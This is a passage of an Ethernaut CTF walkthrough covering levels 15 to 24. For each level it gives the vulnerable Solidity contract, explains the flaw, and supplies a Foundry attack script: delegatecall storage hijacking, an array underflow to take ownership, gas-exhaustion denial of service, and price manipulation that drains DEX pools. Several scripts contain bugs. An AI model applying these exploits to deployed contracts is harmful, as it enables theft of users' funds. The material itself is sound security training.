function entrant() external view returns (address);
function enter(bytes8) external returns (bool);
}
contract Hack {
constructor(IGateKeeperTwo target) {
// Bitwise xor
// a = 1010
// b = 0110
// a ^ b = 1100
// a ^ a ^ b = b
// a = 1010
// a = 1010
// a ^ a = 0000
// max = 11...11
// s ^ key = max
// s ^ s ^ key = s ^ max
// key = s ^ max
uint64 s = uint64(bytes8(keccak256(abi.encodePacked(address(this)))));
uint64 k = type(uint64).max ^ s;
bytes8 key = bytes8(k);
require(target.enter(key), "failed");
}
}
>> Run script :
$ forge script script/GatekeeperTwoSolve.s.sol:GatekeeperTwoSolve --rpc-url $RPC_URL --broadcast
15-NaughtCoin
NaughtCoin.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}
>> Goal :
- NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
>> Solution :
- Here NaughtCoin implements ERC20 token standrad, so it executes all functions of ERC20 contract.
- In ERC20 standrad we caan transfer tokens in different ways.
- But here NaughtCoin only applies lockTokens() modifier on transfer() only, we can also transfer tokens by approving the user and using transferFrom() function.
- Here we used transferFrom() by approving attack contract to use coins instead of player balance.
NaughtCoinSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {NaughtCoin} from "../scr/NaughtCoin.sol";
contract NaughtCoinSolve is Script {
NaughtCoin public naughtCoin = NaughtCoin(0xca72EC4b4Bd117a2705440c3600309Ac4D94d481);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address player = naughtCoin.player();
uint bal = naughtCoin.balanceOf(player);
console.log("Player : ", player);
console.log("Player initial balance : ", bal);
Attack attack = new Attack();
console.log("Attack Address : ", address(attack));
naughtCoin.approve(address(attack), bal);
attack.exploit(naughtCoin);
console.log("Player Balance : ", naughtCoin.balanceOf(player));
console.log("Attacker Balance : ", naughtCoin.balanceOf(address(attack)));
vm.stopBroadcast();
}
}
contract Attack {
function exploit(NaughtCoin coin) external {
address player = coin.player();
uint256 bal = coin.balanceOf(player);
coin.transferFrom(player, address(this), bal);
}
}
>> Run script :
$ forge script script/NaughtCoinSolve.s.sol:NaughtCoinSolve --rpc-url $RPC_URL --broadcast
16-Preservation
Preservation.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}
>> Goal :
- This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
- The goal of this level is for you to claim ownership of the instance you are given.
>> Solution :
- When the Preservation contract execute setFirstTime() it will call LibraryContract.setTime() via delegatecall.
- As we know delegatecall runs the call in the context of the calle contract and updates the storage of the caller contract.
- when LibraryContract.setTime update the storedTime state variable is not updating the variable from its own contract but the one in slot0 of the caller contract that is the timeZone1Library address.
- The same thing happens when the setSecondTime function is executed, it will update the variable in slot0 of the Preservation contract.
- Here i will create a same storage logic attacker contract to make delegate call to update the owner address.
- If we replace the slot0 address with an address of attacker contract by calling delegate call.
PreservationSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Preservation} from "../scr/Preservation.sol";
contract PreservationSolve is Script {
Preservation public preservation = Preservation(0xE1B1224Da4D5B09233CAaBEEa48036F98Ec68519);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Preservation owner : ", preservation.owner());
Attack hack = new Attack();
console.log("Attacker Address : ", address(hack));
hack.attack(preservation);
console.log("Preservation owner : ", preservation.owner());
vm.stopBroadcast();
}
}
contract Attack {
// Align storage layout same as Preservation
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function attack(Preservation target) external {
// set library to this contract
target.setFirstTime(uint256(uint160(address(this))));
// call setFirstTime to execute code inside this contract and update owner state variable
// To pass this challenge, new owner must be the player (msg.sender)
target.setFirstTime(uint256(uint160(msg.sender)));
require(target.owner() == msg.sender, "hack failed");
}
function setTime(uint256 _owner) public {
owner = address(uint160(_owner));
}
}
>> Run script :
$ forge script script/PreservationSolve.s.sol:PreservationSolve --rpc-url $RPC_URL --broadcast
17-Recovery
Recovery.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Recovery {
//generate tokens
function generateToken(string memory _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
string public name;
mapping(address => uint256) public balances;
// constructor
constructor(string memory _name, address _creator, uint256 _initialSupply) {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
receive() external payable {
balances[msg.sender] = msg.value * 10;
}
// allow transfers of tokens
function transfer(address _to, uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address payable _to) public {
selfdestruct(_to);
}
}
>> Goal :
- A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.001 ether to obtain more tokens. They have since lost the contract address.
- This level will be completed if you can recover (or remove) the 0.001 ether from the lost contract address.
>> Solution :
- Any one can deploy SimpleToken contract and funds are stored inside the contact.
- Here we lost the SimpleToken contract address that we deployed and we have some funds inside it, we have to recover them but we lost the contract address.
- As soon as we find a way to retrieve the address of the deployed SimpleToken we can call the destroy function that will execute a selfdestruct() sending all the contract's balance to the our address as any one can call selfdestruct() function.
- The address of the new account is defined as being the rightmost 160 bits of the Keccak-256 hash of the RLP encoding of the structure containing only the sender and the account nonce. For CREATE2 the rule is different and is described in EIP-1014 by Buterin.
- note: nonces works differently for EOA and Contracts. While for a contract, the nonce is the number of contract that the contract itself has created, for EOA the nonce is the number of transaction that it has made.
- To get the contrcat address we use address(uint160(uint256( keccak256(abi.encodePacked( bytes1(0xd6), bytes1(0x94), address(_creator), bytes1(0x01)))))) formula which was published in Yellow paper
- 0xd6 and 0x94 are constants and the last byte1 is the nonce, i.e, number contracts created from the existed contract. We assume that its one.
RecoverySolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Recovery} from "../src/Recovery.sol";
contract RecoverySolve is Script {
Recovery public recovery = Recovery(0xe0f837ccc4ED52424Dd00063DE97Ad1fE86996a8);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
address wallet = 0xd0509B83468409A75De2771C1Ae7bE1026A69927;
Attack attack = new Attack();
console.log("Attack Address : ", address(attack));
console.log("Before recover balance : ", wallet.balance);
address token = attack.recover(payable(wallet));
console.log("Token Address : ", token);
console.log("After recover balance : ", wallet.balance);
vm.stopBroadcast();
}
}
contract Attack{
function recover(address payable sender) external pure returns (address) {
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(sender), bytes1(0x01)));
address addr = address(uint160(uint256(hash)));
addr.call(abi.encodeWithSignature("destroy(address)", sender));
return addr;
}
}
>> Run script :
$ forge script script/RecoverySolve.s.sol:RecoverySolve --rpc-url $RPC_URL --broadcast
18-MagicNum
MagicNum.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MagicNum {
address public solver;
constructor() {}
function setSolver(address _solver) public {
solver = _solver;
}
/*
____________/\\\_______/\\\\\\\\\_____
__________/\\\\\_____/\\\///////\\\___
________/\\\/\\\____\///______\//\\\__
______/\\\/\/\\\______________/\\\/___
____/\\\/__\/\\\___________/\\\//_____
__/\\\\\\\\\\\\\\\\_____/\\\//________
_\///////////\\\//____/\\\/___________
___________\/\\\_____/\\\\\\\\\\\\\\\_
___________\///_____\///////////////__
*/
}
>> Goal :
- To solve this level, you only need to provide the Ethernaut with a Solver, a contract that responds to whatIsTheMeaningOfLife() with the right number.
- But the solver contract should be very small at most 10 OPCODES.
>> Solution :
- To complete this challenge we have to return 42, but he have to solve with very small at most of 10 opcodes.
- Here we have to build smart contract with assembly code then only we can able to write with less opcodes.
- The first step is to create a minimal smart contract that only return 0x2a. No matter what, our code will always and only return 42.
- We can use this creation code to deploy a contract using create opcode and pass the address of the deployed contract to setSolver().
Run time code - return 42 602a60005260206000f3 // Store 42 to memory PUSH1 0x2a -> pushing 42 into stack PUSH1 0x00 -> pushing 0 into stack MSTORE -> storing 0x2a(42) at 0x00 location // Return 32 bytes from memory PUSH1 0x20 -> pushing 32 into stack PUSH1 0x00 -> pushing 0 into stack RETURN -> returns stored value at 0x00 to 0x20 in memory
- RETURN instruction returns data from memory of given length and present at given offset. So, we have to store the data(magic number) first in memory using MSTORE at some offset and return that using RETURN
Creation code - return runtime code 69602a60005260206000f3600052600a6016f3 // Store run time code PUSH10 0X602a60005260206000f3 -> pushing 10 bytes of data into stack PUSH1 0x00 -> pushing o into stack MSTORE -> stores runtime bytecode at 0x00 in memory // Return 10 bytes from memory starting at offset 22 PUSH1 0x0a -> push 10 into memory : Length of the run time code PUSH1 0x16 -> push 22 into memory : Offset position RETURN -> Creation Code : 69602a60005260206000f3600052600a6016f3
- When a smart contract is created (via CREATE or CREATE2 opcode), the EVM will execute the constructor code once and the code of the deployed smart contract will be returned by the RETURN opcode
MagicNumSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {MagicNum} from "../src/MagicNum.sol";
contract MagicNumSolve is Script {
MagicNum public magicNum = MagicNum(0xe0f837ccc4ED52424Dd00063DE97Ad1fE86996a8);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
new Attack(magicNum);
vm.stopBroadcast();
}
}
contract Attack {
constructor(MagicNum target) {
bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
address addr;
assembly {
// create(value, offset, size)
addr := create(0, add(bytecode, 0x20), 0x13)
}
require(addr != address(0));
target.setSolver(addr);
}
}
>> Run script :
$ forge script script/MagicNumSolve.s.sol:MagicNumSolve --rpc-url $RPC_URL --broadcast
19-AlienCodex
AlienCodex.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/access/Ownable.sol";
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function makeContact() public {
contact = true;
}
function record(bytes32 _content) public contacted {
codex.push(_content);
}
function retract() public contacted {
codex.length--;
}
function revise(uint256 i, bytes32 _content) public contacted {
codex[i] = _content;
}
}
>> Goal :
- You've uncovered an Alien contract. Claim ownership to complete the level.
>> Solution :
- In this challenge uses 0.5.0 pragma verison which has no Arithmetic overflow/underflow checks by default.
- AleinCodex contract inhereit Ownable contract, the owner variable is stored at slot-0.
- To call any function on the contract we need to call the makeContact() function initially.
- In codex dynamic array allocates slot-1 which stores the length of the array.
- AleinCodex also changes the length of the codex with retract() function.
- Initially the length of the codex is 0. If we call the retract() it will be 0 - 1 which results in underflow and stores the value 2**256 - 1 as the length . It is the maximum storage slot index of a contract in ethereum.
- So, now the codex array has access to all the storage slots of the contract. We can use this to update the owner value which is stored at the slot 0.
- For this we need to find the index of the slot 0. Dynamic arrays finds the elements starting from the slot number uint(keccak256( SLOT_NUMBER_OF_LENGTH)). So, the codex array elements starts from the slot uint(keccak256(1)).
storage layout
slot 0 - owner (20 bytes), contact (1 byte)
slot 1 - length of the array codex
// slot where array element is stored = keccak256(slot) + index
// h = keccak256(1)
slot h + 0 - codex[0]
slot h + 1 - codex[1]
slot h + 2 - codex[2]
slot h + 3 - codex[3]
Find i such that
slot h + i = slot 0
h + i = 0 so i = 0 - h
- We need to find the index of the slot 0. We can do this by pointing our codex array to 2**256 index, which is not available and result in an overflow and will points back to the slot 0.
- So, we need pass the 2**256 - keccack256(1) to the revise() method it will find the index of the slot by using the same method.
- This will result a overflow and revise() method will modify the content of the owner slot that is zero.
AlienCodexSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {AleinCodex} from "../src/AleinCodex.sol";
contract AleinCodexSolve is Script {
AleinCodex public aleinCodex = AleinCodex(0xe0f837ccc4ED52424Dd00063DE97Ad1fE86996a8);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Initial owner : ", aleinCodex.owner());
Attack attack = new Attack(aleinCodex);
console.log("New owner : ", aleinCodex.owner());
console.log("Attacker address : ", address(alienCodex));
vm.stopBroadcast();
}
}
contract Attack {
constructor(AlienCodex target) {
target.make_contact();
target.retract();
uint256 h = uint256(keccak256(abi.encode(uint256(1))));
uint256 i;
unchecked {
// h + i = 0 = 2**256
i -= h;
}
target.revise(i, bytes32(uint256(uint160(msg.sender))));
require(target.owner() == msg.sender, "hack failed");
}
}
>> Run script :
$ forge script script/AlienCodexSolve.s.sol:AlienCodexSolve --rpc-url $RPC_URL --broadcast
20-Denial
Denial.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint256 timeLastWithdrawn;
mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint256 amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value: amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint256) {
return address(this).balance;
}
}
>> Goal :
- This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
- If you can deny the owner from withdrawing funds when they call withdraw() (whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
>> Solution :
- The only options we have is to do something bad in the external call made to the partner address.
- Simply reverting doesn't solve the challenge, so we have to consume all the gas for that transcation.
- Here we introduce most expensive computation infinite loop that consume all the gas for it.
- When the withdraw function in Denial contract will transfer amountToSend to the partner the Exploiter.receive function will be executed and as a consequence, the transaction will revert because of the infinite loop inside the exploit() function.
DenialSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Denial} from "../src/Denial.sol";
contract DenialSolve is Script {
Denial public denial = Denial(0xBd6502E57D34584A8CE00aea0a0D40A219a168A4);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
Attack attack = new Attack(denial);
vm.stopBroadcast();
}
}
contract Attack {
constructor(Denial target) {
target.setWithdrawPartner(address(this));
}
fallback() external payable {
for (uint i = 0; i>=0; i++){
x = x + i;
}
}
}
>> Run script :
$ forge script script/DenialSolve.s.sol:DenialSolve --rpc-url $RPC_URL --broadcast
21-Shop
Shop.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
>> Goal :
- The goal of this challenge is to get the item from the shop for less than the price asked.
>> Solution :
- This is similar to the Elevator contract. Both uses an external normal function to call.
- Here i check the isSold variable and if the second call of price() function i will return with less price and at first called i will return the fixed price given by the Shop contract.
- For updating of price values i will use isSold variable that is first call of price() is called or not.
ShopSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Shop} from "../src/Shop.sol";
contract ShopSolve is Script {
Shop public shop = Shop(0x29691f13DBF03b0827bae2Fd1cB43639B3F3da3F);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Is item sold : ", shop.isSold());
new Attack(shop).attack();
console.log("Is item sold : ", shop.isSold());
vm.stopBroadcast();
}
}
contract Attack {
Shop private immutable target;
constructor(Shop _target) {
target = _target;
}
function attack() external {
target.buy();
require(target.price() == 1, "price != 1");
}
function price() external view returns (uint256) {
if (target.isSold()) {
return 1;
}
return 100;
}
}
>> Run script :
$ forge script script/ShopSolve.s.sol:ShopSolve --rpc-url $RPC_URL --broadcast
22-Dex
Dex.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function addLiquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
>> Goal :
- The goal of this level is for you to hack the basic DEX contract below and steal the funds by price manipulation.
- You will start with 10 tokens of token1 and 10 of token2. The DEX contract starts with 100 of each token.
- You will be successful in this level if you manage to drain all of at least 1 of the 2 tokens from the contract, and allow the contract to report a "bad" price of the assets.
>> Solution :
- In Dex contract we can swap the tokens using swap() function. If we go inside the function there are some checks for correct tokens are swapping.
- We can observe the getSwapPrice() using to get the price of a token in the pool.
- Using the balance as a factor to calculate the price will make your contract keen to an attack called price manipulation.
- The formula used to calculate the amount of token that the user will receive as the result of the swap operation is this
- Due to very less amount we can observe the rounding issues, which all integer division rounds down to the nearest integer. This mean that if you perform 5/2 the result won't be 2.5 but 2.
- Here you can see that the after each swap swapAmount is becoming greater than the amount the comes in.
- After doing 5 swaps we need to do 45 amount of tokens swap from token2 to token1 which will make token2 balance of Dex zero.
amount_out = ((amount_in * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)))
swap-1
swap(token1, token2, 10);
amount_out = (10 * 100) / 100
amount_out = 10
token1 balance in pool = 110
token2 balance in pool = 90
player balance of token1 = 0
player balance of token2 = 20
swap-2
swap(token2, token1, 20);
amount_out = (20 * 110) / 90
amount_out = 24
token1 balance in pool = 86
token2 balance in pool = 110
player balance of token1 = 24
player balance of token2 = 0
swap-3
swap(token1, token2, 24);
amount_out = (10 * 100) / 100
amount_out = 30
token1 balance in pool = 110
token2 balance in pool = 80
player balance of token1 = 0
player balance of token2 = 30
DexSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Dex} from "../src/Dex.sol";
contract DexSolve is Script {
Dex public dex = Dex(0x1596815349F03F2816b8731F568dE7686EeC5af3);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("Is item sold : ", shop.isSold());
new Attack(dex).attack();
console.log("Is item sold : ", shop.isSold());
vm.stopBroadcast();
}
}
contract Attack{
Dex private immutable dex;
IERC20 private immutable token1;
IERC20 private immutable token2;
constructor(Dex _dex) {
dex = _dex;
token1 = IERC20(dex.token1());
token2 = IERC20(dex.token2());
}
function attack() external {
token1.transferFrom(msg.sender, address(this), 10);
token2.transferFrom(msg.sender, address(this), 10);
token1.approve(address(dex), type(uint256).max);
token2.approve(address(dex), type(uint256).max);
_swap(token1, token2);
_swap(token2, token1);
_swap(token1, token2);
_swap(token2, token1);
_swap(token1, token2);
dex.swap(address(token2), address(token1), 45);
require(token1.balanceOf(address(dex)) == 0, "dex token1 balance != 0");
}
// token 1 | token 2
// 10 in | 100 | 100 | 10 out
// 24 out | 110 | 90 | 20 in
// 24 in | 86 | 110 | 30 out
// 41 out | 110 | 80 | 30 in
// 41 in | 69 | 110 | 65 out
// | 110 | 45 | 45 in
// math for last swap
// 110 = token2 amount in * token1 balance / token2 balance
// 110 = token2 amount in * 110 / 45
// 45 = token2 amount in
function _swap(IERC20 tokenIn, IERC20 tokenOut) private {
dex.swap(address(tokenIn), address(tokenOut), tokenIn.balanceOf(address(this)));
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
>> Run script :
$ forge script script/DexSolve.s.sol:DexSolve --rpc-url $RPC_URL --broadcast
23-DexTwo
DexTwo.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";
contract DexTwo is Ownable {
address public token1;
address public token2;
constructor() {}
function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}
function add_liquidity(address token_address, uint256 amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}
function swap(address from, address to, uint256 amount) public {
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapAmount(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
function approve(address spender, uint256 amount) public {
SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
}
function balanceOf(address token, address account) public view returns (uint256) {
return IERC20(token).balanceOf(account);
}
}
contract SwappableTokenTwo is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
ERC20(name, symbol)
{
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}
function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}
>> Goal :
- This level will ask you to break DexTwo, a subtlely modified Dex contract from the previous level, in a different way.
- You need to drain all balances of token1 and token2 from the DexTwo contract to succeed in this level.
- You will still start with 10 tokens of token1 and 10 of token2. The DEX contract still starts with 100 of each token.
>> Solution :
- We can observe that the current swap function is not checking that from and to are actually the whitelisted token1 and token2 tokens handled by the DexTwo contract.
- This allows an attacker to call the swap function, selling an arbitrary from token to get the "real" to token from the Dex.
- We drain the DexTwo contract token1 and token2 with one call each. To do so, we need to find the correct amount of fakeToken to sell to get back 100 token1.
- The main bug we can find in getSwapAmount(), here we can manipulate the price oracle.
- By sending 1 FakeToken1 to the DexTwo contract to give it some liquidity, we can swap 100 FakeToken to get back 100 token1. After that, we just need to repeat the same operation with another instance of FakeToken2 and drain all the token2 from the Dex.
amount out = ((amount_in * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); let swap token1 with my FakeToken1 with 100 token1 and 1 FakeToken1 then amount1 out = (1 * 100) / 1; amount1 out = 100 let do the same for token2, by swapping for 100 token2 with 1 FakeToken2 then amount2 out = (1 * 100) / 1; amount2 out = 100
DexTwoSolve.s.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {DexTwo} from "../src/DexTwo.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract DexTwoSolve is Script {
DexTwo public dexTwo = DexTwo(0x5F0Eb0b2913Af7878A09f955249804630F3e28c2);
function run() external{
vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
console.log("DEX balance in TOKEN1 ", dex.balanceOf(token1, address(dex)));
console.log("DEX balance in TOKEN2 ", dex.balanceOf(token2, address(dex)));
Attack attack = new Attack(dexTwo);
attack.attack();
console.log("Attacker balance in TOKEN1 ", dex.balanceOf(token1, address(attack)));
console.log("Attacker balance in TOKEN2 ", dex.balanceOf(token2, address(attack)));
console.log("DEX balance in TOKEN1 ", dex.balanceOf(token1, address(dex)));
console.log("DEX balance in TOKEN2 ", dex.balanceOf(token2, address(dex)));
vm.stopBroadcast();
}
}
contract Attack {
DexTwo public dex;
IERC20 public token1;
IERC20 public token2;
constructor(DexTwo _dex) {
dex = _dex;
IERC20 token1 = IERC20(dex.token1());
IERC20 token2 = IERC20(dex.token2());
MyToken myToken1 = new MyToken();
MyToken myToken2 = new MyToken();
}
function attack() external {
myToken1.transfer(address(dex), 1);
myToken2.transfer(address(dex), 1);
myToken1.approve(address(dex), 1);
myToken2.approve(address(dex), 1);
dex.swap(address(myToken1), address(token1), 1);
dex.swap(address(myToken2), address(token2), 1);
require(token1.balanceOf(address(dex)) == 0, "dex token1 balance != 0");
require(token2.balanceOf(address(dex)) == 0, "dex token2 balance != 0");
}
}
contract MyToken is ERC20 {
constructor() ERC20("My-Token", "MTK") {
_mint(msg.sender, 10000);
}
}
>> Run script :
$ forge script script/DexTwoSolve.s.sol:DexTwoSolve --rpc-url $RPC_URL --broadcast
24-PuzzleWallet
PuzzleWallet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pendingadmin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
